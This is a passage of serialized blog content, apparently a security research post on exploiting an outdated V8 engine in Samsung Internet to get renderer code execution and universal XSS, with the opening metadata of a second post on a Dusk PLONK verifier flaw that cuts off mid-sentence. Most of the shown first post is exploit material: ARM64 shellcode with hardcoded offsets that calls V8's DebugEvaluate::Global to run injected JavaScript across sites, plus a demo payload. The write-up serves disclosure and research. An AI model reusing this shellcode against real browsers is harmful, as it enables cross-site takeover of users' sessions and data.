function,\n",{"type":23,"tag":213,"props":140899,"children":140900},{"class":215,"line":655},[140901,140906,140911],{"type":23,"tag":213,"props":140902,"children":140903},{"style":220},[140904],{"type":28,"value":140905}," Compiler::",{"type":23,"tag":213,"props":140907,"children":140908},{"style":257},[140909],{"type":28,"value":140910},"GetFunctionFromValidatedString",{"type":23,"tag":213,"props":140912,"children":140913},{"style":220},[140914],{"type":28,"value":1511},{"type":23,"tag":213,"props":140916,"children":140917},{"class":215,"line":1176},[140918,140923,140927,140931,140935,140940],{"type":23,"tag":213,"props":140919,"children":140920},{"style":257},[140921],{"type":28,"value":140922}," direct_handle",{"type":23,"tag":213,"props":140924,"children":140925},{"style":220},[140926],{"type":28,"value":265},{"type":23,"tag":213,"props":140928,"children":140929},{"style":268},[140930],{"type":28,"value":115131},{"type":23,"tag":213,"props":140932,"children":140933},{"style":220},[140934],{"type":28,"value":303},{"type":23,"tag":213,"props":140936,"children":140937},{"style":257},[140938],{"type":28,"value":140939},"native_context",{"type":23,"tag":213,"props":140941,"children":140942},{"style":220},[140943],{"type":28,"value":140944},"(), isolate), source,\n",{"type":23,"tag":213,"props":140946,"children":140947},{"class":215,"line":1202},[140948],{"type":23,"tag":213,"props":140949,"children":140950},{"style":220},[140951],{"type":28,"value":140952}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":213,"props":140954,"children":140955},{"class":215,"line":1758},[140956,140961],{"type":23,"tag":213,"props":140957,"children":140958},{"style":257},[140959],{"type":28,"value":140960}," RETURN_RESULT_OR_FAILURE",{"type":23,"tag":213,"props":140962,"children":140963},{"style":220},[140964],{"type":28,"value":1511},{"type":23,"tag":213,"props":140966,"children":140967},{"class":215,"line":1767},[140968,140973,140978],{"type":23,"tag":213,"props":140969,"children":140970},{"style":220},[140971],{"type":28,"value":140972}," isolate, Execution::",{"type":23,"tag":213,"props":140974,"children":140975},{"style":257},[140976],{"type":28,"value":140977},"Call",{"type":23,"tag":213,"props":140979,"children":140980},{"style":220},[140981],{"type":28,"value":140982},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":24,"props":140984,"children":140985},{},[140986,140988,140993,140995,141001,141003,141009,141011,141017],{"type":28,"value":140987},"But determining the correct ",{"type":23,"tag":209,"props":140989,"children":140991},{"className":140990},[],[140992],{"type":28,"value":115131},{"type":28,"value":140994}," value, obtaining ",{"type":23,"tag":209,"props":140996,"children":140998},{"className":140997},[],[140999],{"type":28,"value":141000},"target->native_context()",{"type":28,"value":141002},", and locating the ",{"type":23,"tag":209,"props":141004,"children":141006},{"className":141005},[],[141007],{"type":28,"value":141008},"direct_handle",{"type":28,"value":141010}," function, just to make a proper call to ",{"type":23,"tag":209,"props":141012,"children":141014},{"className":141013},[],[141015],{"type":28,"value":141016},"Compiler::GetFunctionFromValidatedString",{"type":28,"value":141018},", seemed unnecessarily cumbersome.",{"type":23,"tag":24,"props":141020,"children":141021},{},[141022,141024,141030],{"type":28,"value":141023},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":209,"props":141025,"children":141027},{"className":141026},[],[141028],{"type":28,"value":141029},"DebugEvaluate::Global",{"type":28,"value":141031},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":24,"props":141033,"children":141034},{},[141035],{"type":28,"value":141036},"For our needs, it is straightforward to call:",{"type":23,"tag":202,"props":141038,"children":141040},{"code":141039,"language":29169,"meta":7,"className":29167,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[141041],{"type":23,"tag":209,"props":141042,"children":141043},{"__ignoreMap":7},[141044,141092,141121,141142],{"type":23,"tag":213,"props":141045,"children":141046},{"class":215,"line":216},[141047,141052,141056,141060,141065,141070,141074,141079,141083,141088],{"type":23,"tag":213,"props":141048,"children":141049},{"style":290},[141050],{"type":28,"value":141051},"MaybeDirectHandle",{"type":23,"tag":213,"props":141053,"children":141054},{"style":220},[141055],{"type":28,"value":434},{"type":23,"tag":213,"props":141057,"children":141058},{"style":290},[141059],{"type":28,"value":48903},{"type":23,"tag":213,"props":141061,"children":141062},{"style":220},[141063],{"type":28,"value":141064},"> DebugEvaluate::",{"type":23,"tag":213,"props":141066,"children":141067},{"style":257},[141068],{"type":28,"value":141069},"Global",{"type":23,"tag":213,"props":141071,"children":141072},{"style":220},[141073],{"type":28,"value":265},{"type":23,"tag":213,"props":141075,"children":141076},{"style":290},[141077],{"type":28,"value":141078},"Isolate",{"type":23,"tag":213,"props":141080,"children":141081},{"style":230},[141082],{"type":28,"value":1696},{"type":23,"tag":213,"props":141084,"children":141085},{"style":268},[141086],{"type":28,"value":141087}," isolate",{"type":23,"tag":213,"props":141089,"children":141090},{"style":220},[141091],{"type":28,"value":944},{"type":23,"tag":213,"props":141093,"children":141094},{"class":215,"line":226},[141095,141100,141104,141108,141112,141117],{"type":23,"tag":213,"props":141096,"children":141097},{"style":290},[141098],{"type":28,"value":141099}," Handle",{"type":23,"tag":213,"props":141101,"children":141102},{"style":220},[141103],{"type":28,"value":434},{"type":23,"tag":213,"props":141105,"children":141106},{"style":290},[141107],{"type":28,"value":47978},{"type":23,"tag":213,"props":141109,"children":141110},{"style":220},[141111],{"type":28,"value":5914},{"type":23,"tag":213,"props":141113,"children":141114},{"style":268},[141115],{"type":28,"value":141116},"source",{"type":23,"tag":213,"props":141118,"children":141119},{"style":220},[141120],{"type":28,"value":944},{"type":23,"tag":213,"props":141122,"children":141123},{"class":215,"line":524},[141124,141129,141134,141138],{"type":23,"tag":213,"props":141125,"children":141126},{"style":220},[141127],{"type":28,"value":141128}," debug::",{"type":23,"tag":213,"props":141130,"children":141131},{"style":290},[141132],{"type":28,"value":141133},"EvaluateGlobalMode",{"type":23,"tag":213,"props":141135,"children":141136},{"style":268},[141137],{"type":28,"value":106327},{"type":23,"tag":213,"props":141139,"children":141140},{"style":220},[141141],{"type":28,"value":944},{"type":23,"tag":213,"props":141143,"children":141144},{"class":215,"line":533},[141145,141150,141155],{"type":23,"tag":213,"props":141146,"children":141147},{"style":290},[141148],{"type":28,"value":141149}," REPLMode",{"type":23,"tag":213,"props":141151,"children":141152},{"style":268},[141153],{"type":28,"value":141154}," repl_mode",{"type":23,"tag":213,"props":141156,"children":141157},{"style":220},[141158],{"type":28,"value":2867},{"type":23,"tag":24,"props":141160,"children":141161},{},[141162,141164,141169,141171,141176,141178,141183,141185,141191,141192,141198],{"type":28,"value":141163},"We must supply the ",{"type":23,"tag":209,"props":141165,"children":141167},{"className":141166},[],[141168],{"type":28,"value":140737},{"type":28,"value":141170}," pointer, a ",{"type":23,"tag":209,"props":141172,"children":141174},{"className":141173},[],[141175],{"type":28,"value":47978},{"type":28,"value":141177}," object containing our XSS payload as ",{"type":23,"tag":209,"props":141179,"children":141181},{"className":141180},[],[141182],{"type":28,"value":141116},{"type":28,"value":141184},", and the ",{"type":23,"tag":209,"props":141186,"children":141188},{"className":141187},[],[141189],{"type":28,"value":141190},"mode",{"type":28,"value":1466},{"type":23,"tag":209,"props":141193,"children":141195},{"className":141194},[],[141196],{"type":28,"value":141197},"repl_mode",{"type":28,"value":141199}," values, which are simple enum literals.",{"type":23,"tag":24,"props":141201,"children":141202},{},[141203,141205,141210,141212,141218,141220,141225,141227,141232,141234,141240,141242,141248,141250,141255,141257,141262,141264,141269,141271,141276],{"type":28,"value":141204},"To obtain the ",{"type":23,"tag":209,"props":141206,"children":141208},{"className":141207},[],[141209],{"type":28,"value":140737},{"type":28,"value":141211}," pointer within our shellcode, we call ",{"type":23,"tag":209,"props":141213,"children":141215},{"className":141214},[],[141216],{"type":28,"value":141217},"Isolate::TryGetCurrent()",{"type":28,"value":141219},", which returns the current ",{"type":23,"tag":209,"props":141221,"children":141223},{"className":141222},[],[141224],{"type":28,"value":140737},{"type":28,"value":141226},". To construct a valid ",{"type":23,"tag":209,"props":141228,"children":141230},{"className":141229},[],[141231],{"type":28,"value":47978},{"type":28,"value":141233}," object holding our payload, we call ",{"type":23,"tag":209,"props":141235,"children":141237},{"className":141236},[],[141238],{"type":28,"value":141239},"v8::String::NewFromUTF8",{"type":28,"value":141241},". This ",{"type":23,"tag":209,"props":141243,"children":141245},{"className":141244},[],[141246],{"type":28,"value":141247},"NewFromUTF8",{"type":28,"value":141249}," function takes four arguments: the ",{"type":23,"tag":209,"props":141251,"children":141253},{"className":141252},[],[141254],{"type":28,"value":140737},{"type":28,"value":141256},", the string bytes as ",{"type":23,"tag":209,"props":141258,"children":141260},{"className":141259},[],[141261],{"type":28,"value":3791},{"type":28,"value":141263},", an enum literal specifying the string type, and ",{"type":23,"tag":209,"props":141265,"children":141267},{"className":141266},[],[141268],{"type":28,"value":8588},{"type":28,"value":141270},", which is the size of the ",{"type":23,"tag":209,"props":141272,"children":141274},{"className":141273},[],[141275],{"type":28,"value":3791},{"type":28,"value":17215},{"type":23,"tag":24,"props":141278,"children":141279},{},[141280],{"type":28,"value":141281},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":202,"props":141283,"children":141285},{"code":141284,"language":139573,"meta":7,"className":139574,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[141286],{"type":23,"tag":209,"props":141287,"children":141288},{"__ignoreMap":7},[141289,141297,141305,141313,141321,141329,141337,141345,141353,141361,141369,141377,141385,141392,141400,141408,141416,141424,141431,141439,141446,141454,141462,141469,141476,141483,141490,141497,141504,141512,141520,141527,141535,141543,141550,141558,141566,141573,141580,141588,141596,141604,141611,141619,141627,141635,141643,141651,141659,141667,141675,141683,141691,141699,141706,141714,141722,141729,141737,141745,141753,141761,141768,141776,141783,141790,141798,141806,141814,141822,141831,141840,141848],{"type":23,"tag":213,"props":141290,"children":141291},{"class":215,"line":216},[141292],{"type":23,"tag":213,"props":141293,"children":141294},{},[141295],{"type":28,"value":141296},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":213,"props":141298,"children":141299},{"class":215,"line":226},[141300],{"type":23,"tag":213,"props":141301,"children":141302},{},[141303],{"type":28,"value":141304},"movz x1, #0xf7a0\n",{"type":23,"tag":213,"props":141306,"children":141307},{"class":215,"line":524},[141308],{"type":23,"tag":213,"props":141309,"children":141310},{},[141311],{"type":28,"value":141312},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":213,"props":141314,"children":141315},{"class":215,"line":533},[141316],{"type":23,"tag":213,"props":141317,"children":141318},{},[141319],{"type":28,"value":141320},"add x9, x12, x1\n",{"type":23,"tag":213,"props":141322,"children":141323},{"class":215,"line":543},[141324],{"type":23,"tag":213,"props":141325,"children":141326},{},[141327],{"type":28,"value":141328},"movz x1, #0x5ac8\n",{"type":23,"tag":213,"props":141330,"children":141331},{"class":215,"line":551},[141332],{"type":23,"tag":213,"props":141333,"children":141334},{},[141335],{"type":28,"value":141336},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":213,"props":141338,"children":141339},{"class":215,"line":570},[141340],{"type":23,"tag":213,"props":141341,"children":141342},{},[141343],{"type":28,"value":141344},"add x0, x12, x1\n",{"type":23,"tag":213,"props":141346,"children":141347},{"class":215,"line":655},[141348],{"type":23,"tag":213,"props":141349,"children":141350},{},[141351],{"type":28,"value":141352},"blr x9\n",{"type":23,"tag":213,"props":141354,"children":141355},{"class":215,"line":1176},[141356],{"type":23,"tag":213,"props":141357,"children":141358},{},[141359],{"type":28,"value":141360},"// *x0 is isolate pointer\n",{"type":23,"tag":213,"props":141362,"children":141363},{"class":215,"line":1202},[141364],{"type":23,"tag":213,"props":141365,"children":141366},{},[141367],{"type":28,"value":141368},"// store isolate ptr to stack\n",{"type":23,"tag":213,"props":141370,"children":141371},{"class":215,"line":1758},[141372],{"type":23,"tag":213,"props":141373,"children":141374},{},[141375],{"type":28,"value":141376},"ldr x13, [x0]\n",{"type":23,"tag":213,"props":141378,"children":141379},{"class":215,"line":1767},[141380],{"type":23,"tag":213,"props":141381,"children":141382},{},[141383],{"type":28,"value":141384},"str x13, [sp, #-16]!\n",{"type":23,"tag":213,"props":141386,"children":141387},{"class":215,"line":1789},[141388],{"type":23,"tag":213,"props":141389,"children":141390},{"emptyLinePlaceholder":18},[141391],{"type":28,"value":530},{"type":23,"tag":213,"props":141393,"children":141394},{"class":215,"line":1812},[141395],{"type":23,"tag":213,"props":141396,"children":141397},{},[141398],{"type":28,"value":141399},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":213,"props":141401,"children":141402},{"class":215,"line":1838},[141403],{"type":23,"tag":213,"props":141404,"children":141405},{},[141406],{"type":28,"value":141407},"movz x1, #0x1140\n",{"type":23,"tag":213,"props":141409,"children":141410},{"class":215,"line":1851},[141411],{"type":23,"tag":213,"props":141412,"children":141413},{},[141414],{"type":28,"value":141415},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":213,"props":141417,"children":141418},{"class":215,"line":1864},[141419],{"type":23,"tag":213,"props":141420,"children":141421},{},[141422],{"type":28,"value":141423},"sub x10, x12, x1\n",{"type":23,"tag":213,"props":141425,"children":141426},{"class":215,"line":1890},[141427],{"type":23,"tag":213,"props":141428,"children":141429},{"emptyLinePlaceholder":18},[141430],{"type":28,"value":530},{"type":23,"tag":213,"props":141432,"children":141433},{"class":215,"line":1899},[141434],{"type":23,"tag":213,"props":141435,"children":141436},{},[141437],{"type":28,"value":141438},"// mmap a RW page for our xss payload\n",{"type":23,"tag":213,"props":141440,"children":141441},{"class":215,"line":1912},[141442],{"type":23,"tag":213,"props":141443,"children":141444},{},[141445],{"type":28,"value":139789},{"type":23,"tag":213,"props":141447,"children":141448},{"class":215,"line":1921},[141449],{"type":23,"tag":213,"props":141450,"children":141451},{},[141452],{"type":28,"value":141453},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":213,"props":141455,"children":141456},{"class":215,"line":3879},[141457],{"type":23,"tag":213,"props":141458,"children":141459},{},[141460],{"type":28,"value":141461},"mov x2, #3\n",{"type":23,"tag":213,"props":141463,"children":141464},{"class":215,"line":3887},[141465],{"type":23,"tag":213,"props":141466,"children":141467},{},[141468],{"type":28,"value":139812},{"type":23,"tag":213,"props":141470,"children":141471},{"class":215,"line":3918},[141472],{"type":23,"tag":213,"props":141473,"children":141474},{},[141475],{"type":28,"value":139820},{"type":23,"tag":213,"props":141477,"children":141478},{"class":215,"line":3926},[141479],{"type":23,"tag":213,"props":141480,"children":141481},{},[141482],{"type":28,"value":139828},{"type":23,"tag":213,"props":141484,"children":141485},{"class":215,"line":3986},[141486],{"type":23,"tag":213,"props":141487,"children":141488},{},[141489],{"type":28,"value":139836},{"type":23,"tag":213,"props":141491,"children":141492},{"class":215,"line":9132},[141493],{"type":23,"tag":213,"props":141494,"children":141495},{},[141496],{"type":28,"value":139751},{"type":23,"tag":213,"props":141498,"children":141499},{"class":215,"line":9150},[141500],{"type":23,"tag":213,"props":141501,"children":141502},{"emptyLinePlaceholder":18},[141503],{"type":28,"value":530},{"type":23,"tag":213,"props":141505,"children":141506},{"class":215,"line":9195},[141507],{"type":23,"tag":213,"props":141508,"children":141509},{},[141510],{"type":28,"value":141511},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":213,"props":141513,"children":141514},{"class":215,"line":9301},[141515],{"type":23,"tag":213,"props":141516,"children":141517},{},[141518],{"type":28,"value":141519},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":213,"props":141521,"children":141522},{"class":215,"line":23557},[141523],{"type":23,"tag":213,"props":141524,"children":141525},{"emptyLinePlaceholder":18},[141526],{"type":28,"value":530},{"type":23,"tag":213,"props":141528,"children":141529},{"class":215,"line":23592},[141530],{"type":23,"tag":213,"props":141531,"children":141532},{},[141533],{"type":28,"value":141534},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":213,"props":141536,"children":141537},{"class":215,"line":23600},[141538],{"type":23,"tag":213,"props":141539,"children":141540},{},[141541],{"type":28,"value":141542},"mov x11, x0\n",{"type":23,"tag":213,"props":141544,"children":141545},{"class":215,"line":23608},[141546],{"type":23,"tag":213,"props":141547,"children":141548},{"emptyLinePlaceholder":18},[141549],{"type":28,"value":530},{"type":23,"tag":213,"props":141551,"children":141552},{"class":215,"line":23617},[141553],{"type":23,"tag":213,"props":141554,"children":141555},{},[141556],{"type":28,"value":141557},"// pop back isolate pointer\n",{"type":23,"tag":213,"props":141559,"children":141560},{"class":215,"line":23659},[141561],{"type":23,"tag":213,"props":141562,"children":141563},{},[141564],{"type":28,"value":141565},"ldr x13, [sp], #16\n",{"type":23,"tag":213,"props":141567,"children":141568},{"class":215,"line":23692},[141569],{"type":23,"tag":213,"props":141570,"children":141571},{"emptyLinePlaceholder":18},[141572],{"type":28,"value":530},{"type":23,"tag":213,"props":141574,"children":141575},{"class":215,"line":23700},[141576],{"type":23,"tag":213,"props":141577,"children":141578},{},[141579],{"type":28,"value":139872},{"type":23,"tag":213,"props":141581,"children":141582},{"class":215,"line":23708},[141583],{"type":23,"tag":213,"props":141584,"children":141585},{},[141586],{"type":28,"value":141587},"// x13 = isolate *\n",{"type":23,"tag":213,"props":141589,"children":141590},{"class":215,"line":23717},[141591],{"type":23,"tag":213,"props":141592,"children":141593},{},[141594],{"type":28,"value":141595},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":213,"props":141597,"children":141598},{"class":215,"line":23793},[141599],{"type":23,"tag":213,"props":141600,"children":141601},{},[141602],{"type":28,"value":141603},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":213,"props":141605,"children":141606},{"class":215,"line":23826},[141607],{"type":23,"tag":213,"props":141608,"children":141609},{"emptyLinePlaceholder":18},[141610],{"type":28,"value":530},{"type":23,"tag":213,"props":141612,"children":141613},{"class":215,"line":23834},[141614],{"type":23,"tag":213,"props":141615,"children":141616},{},[141617],{"type":28,"value":141618},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":213,"props":141620,"children":141621},{"class":215,"line":23842},[141622],{"type":23,"tag":213,"props":141623,"children":141624},{},[141625],{"type":28,"value":141626},"// arg0 = isolate *\n",{"type":23,"tag":213,"props":141628,"children":141629},{"class":215,"line":23879},[141630],{"type":23,"tag":213,"props":141631,"children":141632},{},[141633],{"type":28,"value":141634},"mov x0, x13\n",{"type":23,"tag":213,"props":141636,"children":141637},{"class":215,"line":23892},[141638],{"type":23,"tag":213,"props":141639,"children":141640},{},[141641],{"type":28,"value":141642},"// arg1 = char *c_str\n",{"type":23,"tag":213,"props":141644,"children":141645},{"class":215,"line":23905},[141646],{"type":23,"tag":213,"props":141647,"children":141648},{},[141649],{"type":28,"value":141650},"mov x1, x11\n",{"type":23,"tag":213,"props":141652,"children":141653},{"class":215,"line":23918},[141654],{"type":23,"tag":213,"props":141655,"children":141656},{},[141657],{"type":28,"value":141658},"// arg2 = type = kNormal\n",{"type":23,"tag":213,"props":141660,"children":141661},{"class":215,"line":23972},[141662],{"type":23,"tag":213,"props":141663,"children":141664},{},[141665],{"type":28,"value":141666},"mov x2, #0\n",{"type":23,"tag":213,"props":141668,"children":141669},{"class":215,"line":23980},[141670],{"type":23,"tag":213,"props":141671,"children":141672},{},[141673],{"type":28,"value":141674},"// arg4 = length\n",{"type":23,"tag":213,"props":141676,"children":141677},{"class":215,"line":32336},[141678],{"type":23,"tag":213,"props":141679,"children":141680},{},[141681],{"type":28,"value":141682},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":213,"props":141684,"children":141685},{"class":215,"line":32357},[141686],{"type":23,"tag":213,"props":141687,"children":141688},{},[141689],{"type":28,"value":141690},"// call NewFromUTF8\n",{"type":23,"tag":213,"props":141692,"children":141693},{"class":215,"line":81004},[141694],{"type":23,"tag":213,"props":141695,"children":141696},{},[141697],{"type":28,"value":141698},"blr x10\n",{"type":23,"tag":213,"props":141700,"children":141701},{"class":215,"line":81017},[141702],{"type":23,"tag":213,"props":141703,"children":141704},{"emptyLinePlaceholder":18},[141705],{"type":28,"value":530},{"type":23,"tag":213,"props":141707,"children":141708},{"class":215,"line":81025},[141709],{"type":23,"tag":213,"props":141710,"children":141711},{},[141712],{"type":28,"value":141713},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":213,"props":141715,"children":141716},{"class":215,"line":81033},[141717],{"type":23,"tag":213,"props":141718,"children":141719},{},[141720],{"type":28,"value":141721},"mov x14, x0\n",{"type":23,"tag":213,"props":141723,"children":141724},{"class":215,"line":81041},[141725],{"type":23,"tag":213,"props":141726,"children":141727},{"emptyLinePlaceholder":18},[141728],{"type":28,"value":530},{"type":23,"tag":213,"props":141730,"children":141731},{"class":215,"line":81081},[141732],{"type":23,"tag":213,"props":141733,"children":141734},{},[141735],{"type":28,"value":141736},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":213,"props":141738,"children":141739},{"class":215,"line":81089},[141740],{"type":23,"tag":213,"props":141741,"children":141742},{},[141743],{"type":28,"value":141744},"movz x1, #0xe44c\n",{"type":23,"tag":213,"props":141746,"children":141747},{"class":215,"line":88276},[141748],{"type":23,"tag":213,"props":141749,"children":141750},{},[141751],{"type":28,"value":141752},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":213,"props":141754,"children":141755},{"class":215,"line":88284},[141756],{"type":23,"tag":213,"props":141757,"children":141758},{},[141759],{"type":28,"value":141760},"sub x9, x12, x1\n",{"type":23,"tag":213,"props":141762,"children":141763},{"class":215,"line":101630},[141764],{"type":23,"tag":213,"props":141765,"children":141766},{"emptyLinePlaceholder":18},[141767],{"type":28,"value":530},{"type":23,"tag":213,"props":141769,"children":141770},{"class":215,"line":101638},[141771],{"type":23,"tag":213,"props":141772,"children":141773},{},[141774],{"type":28,"value":141775},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":213,"props":141777,"children":141778},{"class":215,"line":101646},[141779],{"type":23,"tag":213,"props":141780,"children":141781},{},[141782],{"type":28,"value":141626},{"type":23,"tag":213,"props":141784,"children":141785},{"class":215,"line":101654},[141786],{"type":23,"tag":213,"props":141787,"children":141788},{},[141789],{"type":28,"value":141634},{"type":23,"tag":213,"props":141791,"children":141792},{"class":215,"line":101682},[141793],{"type":23,"tag":213,"props":141794,"children":141795},{},[141796],{"type":28,"value":141797},"// arg1 = String *source\n",{"type":23,"tag":213,"props":141799,"children":141800},{"class":215,"line":104453},[141801],{"type":23,"tag":213,"props":141802,"children":141803},{},[141804],{"type":28,"value":141805},"mov x1, x14\n",{"type":23,"tag":213,"props":141807,"children":141808},{"class":215,"line":104461},[141809],{"type":23,"tag":213,"props":141810,"children":141811},{},[141812],{"type":28,"value":141813},"// arg2 = mode = kDefault\n",{"type":23,"tag":213,"props":141815,"children":141817},{"class":215,"line":141816},69,[141818],{"type":23,"tag":213,"props":141819,"children":141820},{},[141821],{"type":28,"value":141666},{"type":23,"tag":213,"props":141823,"children":141825},{"class":215,"line":141824},70,[141826],{"type":23,"tag":213,"props":141827,"children":141828},{},[141829],{"type":28,"value":141830},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":213,"props":141832,"children":141834},{"class":215,"line":141833},71,[141835],{"type":23,"tag":213,"props":141836,"children":141837},{},[141838],{"type":28,"value":141839},"mov x3, #0\n",{"type":23,"tag":213,"props":141841,"children":141843},{"class":215,"line":141842},72,[141844],{"type":23,"tag":213,"props":141845,"children":141846},{"emptyLinePlaceholder":18},[141847],{"type":28,"value":530},{"type":23,"tag":213,"props":141849,"children":141851},{"class":215,"line":141850},73,[141852],{"type":23,"tag":213,"props":141853,"children":141854},{},[141855],{"type":28,"value":141352},{"type":23,"tag":9693,"props":141857,"children":141859},{"id":141858},"uxss-demo",[141860],{"type":28,"value":141861},"UXSS Demo",{"type":23,"tag":24,"props":141863,"children":141864},{},[141865,141867,141873],{"type":28,"value":141866},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":209,"props":141868,"children":141870},{"className":141869},[],[141871],{"type":28,"value":141872},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":28,"value":124},{"type":23,"tag":131911,"props":141875,"children":141878},{"className":141876,"controls":18},[141877],"blog-video-responsive",[141879,141881,141885],{"type":28,"value":141880},"\n ",{"type":23,"tag":141116,"props":141882,"children":141884},{"src":141883,"type":131909},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":28,"value":141886},"\n Your browser does not support the video tag.\n",{"type":23,"tag":47,"props":141888,"children":141889},{"id":28989},[141890],{"type":28,"value":19000},{"type":23,"tag":24,"props":141892,"children":141893},{},[141894],{"type":28,"value":141895},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":23,"tag":24,"props":141897,"children":141898},{},[141899],{"type":28,"value":141900},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":2957,"props":141902,"children":141903},{},[141904],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":141906},[141907,141911,141914,141924],{"id":29072,"depth":226,"text":29075,"children":141908},[141909,141910],{"id":132045,"depth":524,"text":132048},{"id":132128,"depth":524,"text":132131},{"id":132161,"depth":226,"text":132164,"children":141912},[141913],{"id":132302,"depth":524,"text":132156},{"id":132446,"depth":226,"text":132449,"children":141915},[141916,141917,141918,141919,141920,141921,141922,141923],{"id":132452,"depth":524,"text":132455},{"id":132908,"depth":524,"text":132911},{"id":133091,"depth":524,"text":133094},{"id":133202,"depth":524,"text":133205},{"id":133479,"depth":524,"text":133482},{"id":136189,"depth":524,"text":136192},{"id":139470,"depth":524,"text":139473},{"id":141858,"depth":524,"text":141861},{"id":28989,"depth":226,"text":19000},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":141929,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":141930,"description":141931,"date":141932,"author":141933,"image":141934,"isFeatured":18,"onBlogPage":18,"tags":141936,"body":141939,"_type":2967,"_id":147203,"_source":2969,"_file":147204,"_stem":147205,"_extension":2972},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[107891,107892],{"src":141935,"width":97321,"height":13703},"/posts/dusk-commitment-issues/title.png",[141937,141938],"dusk","plonk",{"type":20,"children":141940,"toc":147183},[141941,141947,141988,142000,142006,142020,142025,142031,142322,142326,142598,142828,142834,143519,143523,144018,144026,144032,144051,144056,144062,144287,144326,144337,144343,144354,145062,145067,145070,145076,145129,145164,145196,145201,145205,145208,145214,145225,145238,145269,145336,145344,145366,145379,145806,145829,145834,145837,145842,145869,145965,145976,146023,146061,146072,146410,146427,146435,146438,146444,146449,146483,146491,146572,146575,146581,146595,146613,146618,146658,146666,146687,146690,146696,146701,146766,146780,146783,146789,146829,146840,146845,146850,146856,146870,146951,146972,146999,147002,147008,147022,147027,147032,147037,147172,147178],{"type":23,"tag":35430,"props":141942,"children":141944},{"id":141943},"commitment-issues-unverified-evaluations-in-dusks-plonk",[141945],{"type":28,"value":141946},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":24,"props":141948,"children":141949},{},[141950,141952,141959,141961,141968,141970,141977,141979,141986],{"type":28,"value":141951},"We found a critical soundness vulnerability in 